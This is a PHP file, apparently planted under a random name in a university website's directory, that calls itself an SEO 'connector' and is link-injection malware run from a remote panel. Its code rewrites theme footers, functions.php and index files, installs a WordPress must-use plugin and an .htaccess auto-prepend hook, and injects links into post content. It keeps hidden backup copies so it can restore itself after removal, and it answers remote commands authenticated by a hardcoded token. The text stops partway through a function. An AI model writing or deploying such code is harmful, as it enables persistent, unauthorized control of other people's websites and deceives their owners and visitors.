File: /var/www/campus_olsztyn/XYZEAZ_ydglhbor.php
<?php
/**
* ROOT-SEO Connector v5.4
* - Backwards compatible with v5.2/v5.3 protocol (ping, add_link, remove_link, sync_links,
* get_links, clear_links, clear_expired, verify_links, self_reconcile,
* placement_report, info, diagnose, output, capabilities, get_config, set_config, self_update)
* - Links now have a "kind": "footer" (sitewide, visible footer) or "contextual"
* (injected into existing post content on WordPress; ephemeral by expiry).
* - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint.
* - Footer links are capped per site (FOOTER_LINK_CAP); oldest are auto-dropped.
* - Contextual links are short-lived (enforced max TTL) and auto-removed when expired.
* - Single consolidated auto-clean routine (throttled) replaces scattered cleanup.
* - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs
* and self-heals if the primary file is deleted by a CMS/theme update. Version-aware:
* never restores an older version over a newer one.
*/
error_reporting(E_ALL);
ini_set('display_errors', 0);
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id');
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
http_response_code(200);
exit;
}
define('CONNECTOR_VERSION', '5.4');
define('PANEL_API_URL', 'https://root-seo.com/api');
define('PANEL_TOKEN', 'vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn');
define('LINKS_FILE', __DIR__ . '/.rs_links_v5.json');
define('CONFIG_FILE', __DIR__ . '/.rs_v5_config.json');
define('NONCES_FILE', __DIR__ . '/.rs_v5_nonces.json');
define('PREPEND_HELPER_FILE', __DIR__ . '/.rs_prepend_v5.php');
define('GUARDIAN_STATE_FILE', __DIR__ . '/.rs_guardian_v5.json');
define('MAX_REQUEST_BYTES', 524288);
define('MAX_URL_LENGTH', 2048);
define('MAX_ANCHOR_LENGTH', 220);
define('MAX_LINKS_PER_SYNC', 5000);
define('MAX_REQUEST_SKEW_SECONDS', 300);
define('NONCE_TTL_SECONDS', 900);
define('PLACEMENT_HISTORY_LIMIT', 20);
// v5.4 link-model tuning (overridable via set_config -> stored config).
define('FOOTER_LINK_CAP', 50); // max footer links kept per site (oldest dropped)
define('CONTEXTUAL_MAX_TTL_SECONDS', 172800); // hard 48h cap for contextual links
define('AUTO_CLEAN_THROTTLE_SECONDS', 300); // run auto-clean at most once / 5 min on render
define('GUARDIAN_COPIES', 10); // number of hidden backup mirrors
define('GUARDIAN_THROTTLE_SECONDS', 300); // self-heal check at most once / 5 min
define('VALID_LINK_KINDS', 'footer,contextual');
function respond($success, $data = [], $message = '', $status = 200) {
http_response_code($status);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode([
'success' => (bool)$success,
'message' => (string)$message,
'data' => is_array($data) ? $data : []
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
exit;
}
function get_raw_body() {
static $raw = null;
if ($raw === null) {
$raw = file_get_contents('php://input');
if ($raw === false) $raw = '';
if (strlen($raw) > MAX_REQUEST_BYTES) {
respond(false, [], 'request_too_large', 413);
}
}
return $raw;
}
function get_request_data() {
$data = [];
if (!empty($_GET)) {
foreach ($_GET as $k => $v) $data[$k] = $v;
}
if (!empty($_POST)) {
foreach ($_POST as $k => $v) $data[$k] = $v;
}
$raw = get_raw_body();
if ($raw !== '') {
$json = json_decode($raw, true);
if (is_array($json)) {
foreach ($json as $k => $v) $data[$k] = $v;
}
}
return $data;
}
function get_action_name($req) {
$action = '';
if (isset($req['action'])) $action = (string)$req['action'];
if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action'];
if ($action === '') $action = 'ping';
$action = strtolower(trim($action));
$action = preg_replace('/[^a-z0-9_]/', '', $action);
return $action ?: 'ping';
}
function load_json_file($path, $fallback = []) {
if (!file_exists($path)) return $fallback;
$raw = @file_get_contents($path);
if ($raw === false || $raw === '') return $fallback;
$json = json_decode($raw, true);
return is_array($json) ? $json : $fallback;
}
function save_json_file($path, $data) {
return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false;
}
function normalize_rel($rel) {
$rel = strtolower(trim((string)$rel));
$allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored'];
return in_array($rel, $allowed, true) ? $rel : 'dofollow';
}
function allowed_render_types() {
// v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro)
// were removed — they looked unnatural in footers and increased footprint.
return ['text_inline', 'text_footer'];
}
function default_render_types() {
// v5.4: single natural footer/inline text anchor.
return ['text_footer'];
}
function normalize_kind($kind) {
$kind = strtolower(trim((string)$kind));
$valid = explode(',', VALID_LINK_KINDS);
return in_array($kind, $valid, true) ? $kind : 'footer';
}
function default_placement_state() {
return [
'status' => 'not_installed',
'strategy' => null,
'target' => null,
'install_mode' => null,
'marker' => null,
'message' => '',
'installed_at' => null,
'last_attempt_at' => null,
'last_verified_at' => null,
'verify_status' => 'unknown',
'history' => [],
];
}
function default_config() {
// v5.4: render is ALWAYS visible. output_mode kept for backward-compat reads but
// hidden/cloaked rendering has been removed entirely.
return [
'output_mode' => 'visible',
'render_profile' => 'minimal_inline',
'render_types' => default_render_types(),
'link_rel_strategy' => 'preserve',
'footer_link_cap' => FOOTER_LINK_CAP,
'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS,
'placement' => default_placement_state(),
];
}
function effective_footer_cap($config) {
$cap = isset($config['footer_link_cap']) ? intval($config['footer_link_cap']) : FOOTER_LINK_CAP;
if ($cap < 1) $cap = FOOTER_LINK_CAP;
if ($cap > 1000) $cap = 1000;
return $cap;
}
function effective_contextual_ttl($config) {
$ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS;
if ($ttl < 300) $ttl = 300;
if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS;
return $ttl;
}
function merge_configs($base, $incoming) {
$out = $base;
foreach ($incoming as $key => $value) {
if ($key === 'placement' && is_array($value)) {
$out['placement'] = array_merge(default_placement_state(), $value);
} else {
$out[$key] = $value;
}
}
return $out;
}
function load_config() {
$cfg = load_json_file(CONFIG_FILE, []);
$cfg = merge_configs(default_config(), $cfg);
$types = [];
foreach ((array)($cfg['render_types'] ?? []) as $type) {
$type = trim((string)$type);
if ($type !== '') $types[] = $type;
}
$cfg['render_types'] = $types ?: default_render_types();
return $cfg;
}
function save_config($config) {
return save_json_file(CONFIG_FILE, $config);
}
function is_panel_authenticated() {
$expected = trim((string)PANEL_TOKEN);
if ($expected === '' || strpos($expected, '{{') !== false) return false;
$provided = '';
if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) {
$provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']);
}
return $provided !== '' && hash_equals($expected, $provided);
}
function load_nonce_store() {
return load_json_file(NONCES_FILE, []);
}
function save_nonce_store($items) {
return save_json_file(NONCES_FILE, $items);
}
function enforce_optional_replay_guard() {
$ts = isset($_SERVER['HTTP_X_RS_TS']) ? trim((string)$_SERVER['HTTP_X_RS_TS']) : '';
$reqId = isset($_SERVER['HTTP_X_RS_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_RS_REQ_ID']) : '';
if ($ts === '' && $reqId === '') return;
if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400);
if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400);
if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400);
if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409);
$store = load_nonce_store();
$now = time();
foreach ($store as $key => $seenAt) {
if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) {
unset($store[$key]);
}
}
if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409);
$store[$reqId] = $now;
save_nonce_store($store);
}
function authenticate_protected_request() {
if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401);
enforce_optional_replay_guard();
}
function validate_url_value($url) {
$url = trim((string)$url);
if ($url === '' || strlen($url) > MAX_URL_LENGTH) return '';
if (!filter_var($url, FILTER_VALIDATE_URL)) return '';
$parts = @parse_url($url);
if (!$parts || empty($parts['scheme'])) return '';
$scheme = strtolower((string)$parts['scheme']);
if (!in_array($scheme, ['http', 'https'], true)) return '';
return $url;
}
function validate_anchor_text($anchor) {
$anchor = trim((string)$anchor);
if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return '';
return $anchor;
}
function validate_link_id($linkId) {
$linkId = trim((string)$linkId);
if ($linkId === '') return '';
if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return '';
return $linkId;
}
function build_deterministic_link_id($url, $anchor, $rel) {
$seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel);
return 'v5_' . substr(hash('sha256', $seed), 0, 16);
}
function filter_render_types($types) {
$allowed = allowed_render_types();
$final = [];
foreach ((array)$types as $type) {
$type = trim((string)$type);
if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) {
$final[] = $type;
}
}
return $final ?: default_render_types();
}
function apply_placement_snapshot_to_link($row, $placement) {
$row['placement_status'] = $placement['status'] ?? 'not_installed';
$row['placement_strategy'] = $placement['strategy'] ?? null;
$row['placement_target'] = $placement['target'] ?? null;
$row['last_verified_at'] = $placement['last_verified_at'] ?? null;
return $row;
}
function normalize_link_row($key, $row, $config) {
if (!is_array($row)) return null;
$url = validate_url_value($row['url'] ?? '');
$anchor = validate_anchor_text($row['anchor'] ?? '');
if ($url === '' || $anchor === '') return null;
$rel = normalize_rel($row['rel'] ?? 'dofollow');
$id = validate_link_id($row['id'] ?? '');
if ($id === '') {
$id = validate_link_id($key);
}
if ($id === '') {
$id = build_deterministic_link_id($url, $anchor, $rel);
}
$placement = $config['placement'] ?? default_placement_state();
$kind = normalize_kind($row['kind'] ?? 'footer');
$created = isset($row['created']) ? intval($row['created']) : time();
$expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null;
// Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h).
if ($kind === 'contextual') {
$maxExpiry = $created + effective_contextual_ttl($config);
if ($expiresAt === null || $expiresAt > $maxExpiry) {
$expiresAt = $maxExpiry;
}
}
$normalized = [
'id' => $id,
'kind' => $kind,
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => $expiresAt,
'created' => $created,
'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(),
'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'minimal_inline'))),
'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())),
'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20),
'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'),
'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null),
'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null),
'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null),
];
return $normalized;
}
function load_links() {
$raw = load_json_file(LINKS_FILE, []);
$config = load_config();
$normalized = [];
foreach ($raw as $key => $row) {
$item = normalize_link_row($key, $row, $config);
if ($item) {
$normalized[$item['id']] = $item;
}
}
return $normalized;
}
function enforce_footer_cap($links, $config) {
// Keep only the newest N footer links; contextual links are TTL-bound, not capped.
$cap = effective_footer_cap($config);
$footer = [];
$other = [];
foreach ($links as $id => $row) {
if (($row['kind'] ?? 'footer') === 'footer') {
$footer[$id] = $row;
} else {
$other[$id] = $row;
}
}
if (count($footer) > $cap) {
uasort($footer, function ($a, $b) {
return intval($b['created'] ?? 0) <=> intval($a['created'] ?? 0); // newest first
});
$footer = array_slice($footer, 0, $cap, true);
}
return $other + $footer;
}
function save_links($links) {
$config = load_config();
$normalized = [];
foreach ((array)$links as $key => $row) {
$item = normalize_link_row($key, $row, $config);
if ($item) {
$normalized[$item['id']] = $item;
}
}
$normalized = enforce_footer_cap($normalized, $config);
ksort($normalized);
return save_json_file(LINKS_FILE, $normalized);
}
function filtered_links($links) {
$visible = [];
$expired = [];
$now = time();
foreach ($links as $link) {
if (!is_array($link)) continue;
$expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0;
if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
$expired[] = $link;
continue;
}
$visible[] = $link;
}
return [$visible, $expired];
}
function get_link_stats($links) {
list($active, $expired) = filtered_links($links);
return [
'total' => count($links),
'active' => count($active),
'expired' => count($expired),
];
}
function build_rel_attr($rel) {
if ($rel === 'dofollow') return '';
return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"';
}
// v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text,
// genuinely on the page (no display:none / -9999px / 1px cloaking).
function rootseo_footer_container_style() {
return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;';
}
function rootseo_footer_anchor_style() {
return 'color:#9aa0a6;text-decoration:none;font-size:12px;';
}
function build_footer_anchor_html($link) {
$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
$relAttr = build_rel_attr($link['rel']);
return '<a href="' . $url . '"' . $relAttr . ' style="' . rootseo_footer_anchor_style() . '">' . $anchor . '</a>';
}
// Build the visible footer block from FOOTER-kind links only.
function rootseo_build_footer_html($markRenderedOnce = true) {
if ($markRenderedOnce && defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) {
return '';
}
if ($markRenderedOnce) {
define('ROOTSEO_CONNECTOR_RENDERED_ONCE', true);
}
$links = load_links();
list($activeLinks, ) = filtered_links($links);
if (empty($activeLinks)) return '';
$anchors = [];
foreach ($activeLinks as $link) {
// Non-WP placements render contextual links in the footer too (real, visible).
if (($link['kind'] ?? 'footer') === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) {
continue; // contextual handled by the_content filter on WordPress
}
$anchors[] = build_footer_anchor_html($link);
}
if (empty($anchors)) return '';
return '<div data-rootseo-render="footer" style="' . rootseo_footer_container_style() . '">' . implode(' · ', $anchors) . '</div>';
}
// Backward-compatible alias (older placements call rootseo_render_links_html()).
function rootseo_render_links_html() {
return rootseo_build_footer_html(true);
}
function rootseo_build_render_html($markRenderedOnce = true) {
return rootseo_build_footer_html($markRenderedOnce);
}
// ===== Contextual (in-content) injection — WordPress the_content =====
function rootseo_pick_contextual_link($links, $seed) {
$ctx = [];
foreach ($links as $link) {
if (($link['kind'] ?? 'footer') === 'contextual') $ctx[] = $link;
}
if (empty($ctx)) return null;
usort($ctx, function ($a, $b) {
return strcmp((string)($a['id'] ?? ''), (string)($b['id'] ?? ''));
});
// Deterministic pick: same post always shows the same contextual link.
$h = hexdec(substr(hash('sha256', (string)$seed), 0, 8));
return $ctx[$h % count($ctx)];
}
function rootseo_contextual_inject($content) {
// Frontend, main singular content only; inject at most one link, once per request.
if (defined('ROOTSEO_CTX_DONE')) return $content;
if (!is_string($content) || $content === '') return $content;
if (function_exists('is_admin') && is_admin()) return $content;
if (function_exists('is_feed') && is_feed()) return $content;
if (function_exists('is_singular') && !is_singular()) return $content;
if (function_exists('in_the_loop') && !in_the_loop()) return $content;
if (function_exists('is_main_query') && !is_main_query()) return $content;
try {
$links = load_links();
list($activeLinks, ) = filtered_links($links);
if (empty($activeLinks)) return $content;
$postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0;
$link = rootseo_pick_contextual_link($activeLinks, $postId ?: $content);
if (!$link) return $content;
define('ROOTSEO_CTX_DONE', true);
$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
$relAttr = build_rel_attr($link['rel']);
$a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>';
// Natural sentence wrapper, visible inline within the article body.
$sentence = '<p data-rootseo-ctx="1">' . $a . '</p>';
// Insert after the first closing paragraph; fallback append.
$pos = stripos($content, '</p>');
if ($pos !== false) {
$pos += 4;
return substr($content, 0, $pos) . $sentence . substr($content, $pos);
}
return $content . $sentence;
} catch (\Throwable $e) {
return $content;
}
}
// Called by the mu-plugin / functions-hook on WordPress (early load).
function rootseo_wp_register() {
if (defined('ROOTSEO_WP_REGISTERED')) return;
define('ROOTSEO_WP_REGISTERED', true);
if (!function_exists('add_action')) return;
if (function_exists('add_filter')) {
define('ROOTSEO_WP_CONTEXTUAL_ACTIVE', true);
add_filter('the_content', 'rootseo_contextual_inject', 50);
}
add_action('wp_footer', function () {
echo rootseo_build_footer_html(true);
}, 9999);
rootseo_guardian_tick();
rootseo_autoclean_tick();
}
function find_document_root() {
$base = $_SERVER['DOCUMENT_ROOT'] ?? '';
if (empty($base)) {
$base = dirname(__FILE__);
for ($i = 0; $i < 5; $i++) {
if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break;
$parent = dirname($base);
if ($parent === $base) break;
$base = $parent;
}
}
return $base;
}
function get_active_wp_theme_footer($base) {
$themes = glob($base . '/wp-content/themes/*/footer.php');
if (!$themes) return null;
$latest = null;
$latestTime = 0;
foreach ($themes as $footer) {
$mtime = @filemtime($footer);
if ($mtime > $latestTime) {
$latestTime = $mtime;
$latest = $footer;
}
}
return $latest;
}
function get_footer_paths($base, $siteType) {
$paths = [];
switch ($siteType) {
case 'wordpress':
$themes = glob($base . '/wp-content/themes/*/footer.php');
if ($themes) $paths = array_merge($paths, $themes);
break;
case 'joomla':
$tpls = glob($base . '/templates/*/index.php');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'drupal':
$tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'opencart':
$tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
if ($tpls) $paths = array_merge($paths, $tpls);
break;
case 'prestashop':
$tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
if ($tpls) $paths = array_merge($paths, $tpls);
$tpls2 = glob($base . '/themes/*/footer.tpl');
if ($tpls2) $paths = array_merge($paths, $tpls2);
break;
case 'laravel':
$layouts = glob($base . '/resources/views/layouts/*.blade.php');
if ($layouts) $paths = array_merge($paths, $layouts);
break;
}
$general = [
$base . '/footer.php',
$base . '/includes/footer.php',
$base . '/inc/footer.php',
$base . '/template/footer.php',
$base . '/templates/footer.php'
];
foreach ($general as $path) {
if (file_exists($path)) $paths[] = $path;
}
return array_values(array_unique($paths));
}
function check_footer_writable($base, $siteType) {
$paths = get_footer_paths($base, $siteType);
foreach ($paths as $path) {
if (file_exists($path) && is_writable($path)) return true;
}
if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true;
return false;
}
function detect_site_info() {
$base = find_document_root();
$info = [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_type' => 'static',
'language' => 'EN',
'country' => 'US',
'footer_detected' => false,
'footer_writable' => false,
'meta_description' => '',
'charset' => 'UTF-8',
'php_version' => phpversion(),
'document_root' => $base,
'connector_path' => __FILE__,
];
if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) {
$info['site_type'] = 'wordpress';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) {
$info['site_type'] = 'joomla';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) {
$info['site_type'] = 'drupal';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) {
$info['site_type'] = 'opencart';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) {
$info['site_type'] = 'prestashop';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/artisan')) {
$info['site_type'] = 'laravel';
$info['footer_detected'] = true;
} elseif (file_exists($base . '/index.php')) {
$info['site_type'] = 'php';
}
$indexFiles = ['index.php', 'index.html', 'index.htm'];
foreach ($indexFiles as $file) {
$path = $base . '/' . $file;
if (!file_exists($path)) continue;
$content = @file_get_contents($path, false, null, 0, 50000);
if (!$content) continue;
if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) {
$info['site_name'] = trim(strip_tags($m[1]));
}
if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) {
$info['meta_description'] = trim($m[1]);
}
if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) {
$lang = strtolower($m[1]);
$langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR'];
$countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA'];
$info['language'] = $langMap[$lang] ?? 'EN';
$info['country'] = $countryMap[$lang] ?? 'US';
}
if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) {
$info['footer_detected'] = true;
}
break;
}
$info['footer_writable'] = check_footer_writable($base, $info['site_type']);
$info['footer_paths'] = get_footer_paths($base, $info['site_type']);
$info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null;
return $info;
}
function placement_marker($strategy) {
return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12);
}
function build_dynamic_php_snippet($marker) {
$connectorPath = addslashes(__FILE__);
return "<?php /* ROOTSEO_START:$marker */ if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* ROOTSEO_END:$marker */ ?>";
}
function build_static_html_block($marker) {
return "<!-- ROOTSEO_HTML_START:$marker -->" . rootseo_build_render_html(false) . "<!-- ROOTSEO_HTML_END:$marker -->";
}
function replace_between_markers($content, $startMarker, $endMarker, $replacement) {
$startPos = strpos($content, $startMarker);
$endPos = strpos($content, $endMarker);
if ($startPos === false || $endPos === false || $endPos < $startPos) return null;
$endPos += strlen($endMarker);
return substr($content, 0, $startPos) . $replacement . substr($content, $endPos);
}
function upsert_php_file_block($filePath, $marker) {
if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable'];
$content = @file_get_contents($filePath);
if ($content === false) return [false, 'file_read_failed'];
$snippet = build_dynamic_php_snippet($marker);
$existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet);
if ($existing !== null) {
if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block'];
return [false, 'file_write_failed'];
}
$newContent = null;
foreach (['</body>', '</footer>', '</html>', '?>'] as $needle) {
$pos = strripos($content, $needle);
if ($pos !== false) {
$newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos);
break;
}
}
if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n";
if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed'];
return [true, 'inserted_block'];
}
function upsert_html_file_block($filePath, $marker) {
if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable'];
$content = @file_get_contents($filePath);
if ($content === false) return [false, 'file_read_failed'];
$block = build_static_html_block($marker);
$existing = replace_between_markers($content, "<!-- ROOTSEO_HTML_START:$marker -->", "<!-- ROOTSEO_HTML_END:$marker -->", $block);
if ($existing !== null) {
if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block'];
return [false, 'file_write_failed'];
}
$newContent = null;
foreach (['</body>', '</footer>', '</html>'] as $needle) {
$pos = strripos($content, $needle);
if ($pos !== false) {
$newContent = substr($content, 0, $pos) . "\n" . $block . "\n" . substr($content, $pos);
break;
}
}
if ($newContent === null) $newContent = $content . "\n" . $block . "\n";
if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed'];
return [true, 'inserted_block'];
}
// Guardian anchor: a self-contained PHP block (string) that restores the connector
// from a hidden backup mirror if the primary file was deleted (e.g. by a CMS/theme
// update), then includes it. Lives inside mu-plugin / functions hook so it survives
// even when the connector file itself is gone. All ops are @-suppressed and safe.
function build_guardian_restore_block() {
return " if (!file_exists(\$c)) {\n"
. " \$d = dirname(\$c);\n"
. " foreach ((array)@glob(\$d . '/.rs_g*/.rs_connector.php.bak') as \$bak) {\n"
. " \$src = @file_get_contents(\$bak);\n"
. " if (\$src !== false && \$src !== '' && strpos(\$src, '<?php') !== false && strpos(\$src, 'ROOT-SEO Connector') !== false) {\n"
. " @file_put_contents(\$c, \$src);\n"
. " if (function_exists('opcache_invalidate')) { @opcache_invalidate(\$c, true); }\n"
. " break;\n"
. " }\n"
. " }\n"
. " }\n";
}
function build_mu_plugin_code($marker) {
$connectorPath = addslashes(__FILE__);
// v5.4: load early (plugins_loaded) so the_content contextual filter can register.
return "<?php\n"
. "/* ROOTSEO_MUPLUGIN:$marker v5.4 */\n"
. "if (!defined('ABSPATH')) { return; }\n"
. "add_action('plugins_loaded', function () {\n"
. " \$c = '$connectorPath';\n"
. build_guardian_restore_block()
. " if (!file_exists(\$c)) { return; }\n"
. " if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n"
. " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n"
. " include_once \$c;\n"
. "}, 1);\n";
}
function install_mu_plugin($siteInfo) {
$base = $siteInfo['document_root'];
$muDir = $base . '/wp-content/mu-plugins';
if (!is_dir($muDir)) {
if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return [false, null, null, 'mu_dir_create_failed'];
}
if (!is_writable($muDir)) return [false, null, null, 'mu_dir_not_writable'];
$marker = placement_marker('wp_mu_plugin');
$pluginPath = $muDir . '/rootseo-links-v5.php';
if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return [false, null, null, 'mu_plugin_write_failed'];
return [true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'];
}
function install_functions_hook($siteInfo) {
$footer = $siteInfo['active_theme_footer'] ?: null;
if (!$footer) return [false, null, null, 'active_theme_footer_missing'];
$functionsFile = dirname($footer) . '/functions.php';
if (!file_exists($functionsFile) || !is_writable($functionsFile)) return [false, null, null, 'functions_not_writable'];
$marker = placement_marker('wp_functions_hook');
$content = @file_get_contents($functionsFile);
if ($content === false) return [false, null, null, 'functions_read_failed'];
$connectorPath = addslashes(__FILE__);
$functionName = 'rootseo_render_' . preg_replace('/[^a-z0-9]/i', '', $marker);
// v5.4: load early (after_setup_theme) so the_content contextual filter can register.
$snippet = "\n/* ROOTSEO_FUNCTIONS_START:$marker v5.4 */\n"
. "if (!function_exists('$functionName')) {\n"
. "function $functionName() {\n"
. " \$c = '$connectorPath';\n"
. build_guardian_restore_block()
. " if (!file_exists(\$c)) { return; }\n"
. " if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n"
. " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n"
. " include_once \$c;\n"
. "}\n"
. "add_action('after_setup_theme', '$functionName', 1);\n"
. "}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n";
if (strpos($content, "ROOTSEO_FUNCTIONS_START:$marker") !== false) {
return [true, $functionsFile, 'dynamic_php', 'functions_hook_exists'];
}
if (@file_put_contents($functionsFile, $content . $snippet) === false) return [false, null, null, 'functions_write_failed'];
return [true, $functionsFile, 'dynamic_php', 'functions_hook_installed'];
}
function install_file_patch($filePath, $strategy) {
$marker = placement_marker($strategy . '|' . $filePath);
$ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
if (in_array($ext, ['html', 'htm'], true)) {
list($ok, $msg) = upsert_html_file_block($filePath, $marker);
return [$ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker];
}
list($ok, $msg) = upsert_php_file_block($filePath, $marker);
return [$ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker];
}
function install_htaccess_prepend($siteInfo) {
$base = $siteInfo['document_root'];
$htaccess = $base . '/.htaccess';
$marker = placement_marker('htaccess_prepend');
$connectorPath = addslashes(__FILE__);
$helperCode = "<?php\n/* ROOTSEO_PREPEND_HELPER:$marker */\nregister_shutdown_function(function () {\n if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n include_once '$connectorPath';\n});\n";
if (@file_put_contents(PREPEND_HELPER_FILE, $helperCode) === false) return [false, null, null, 'prepend_helper_write_failed', $marker];
$line = 'php_value auto_prepend_file "' . PREPEND_HELPER_FILE . '"';
$content = file_exists($htaccess) ? (@file_get_contents($htaccess) ?: '') : '';
if (strpos($content, PREPEND_HELPER_FILE) === false) {
$newContent = "# ROOTSEO_HTACCESS_START:$marker\n$line\n# ROOTSEO_HTACCESS_END:$marker\n" . $content;
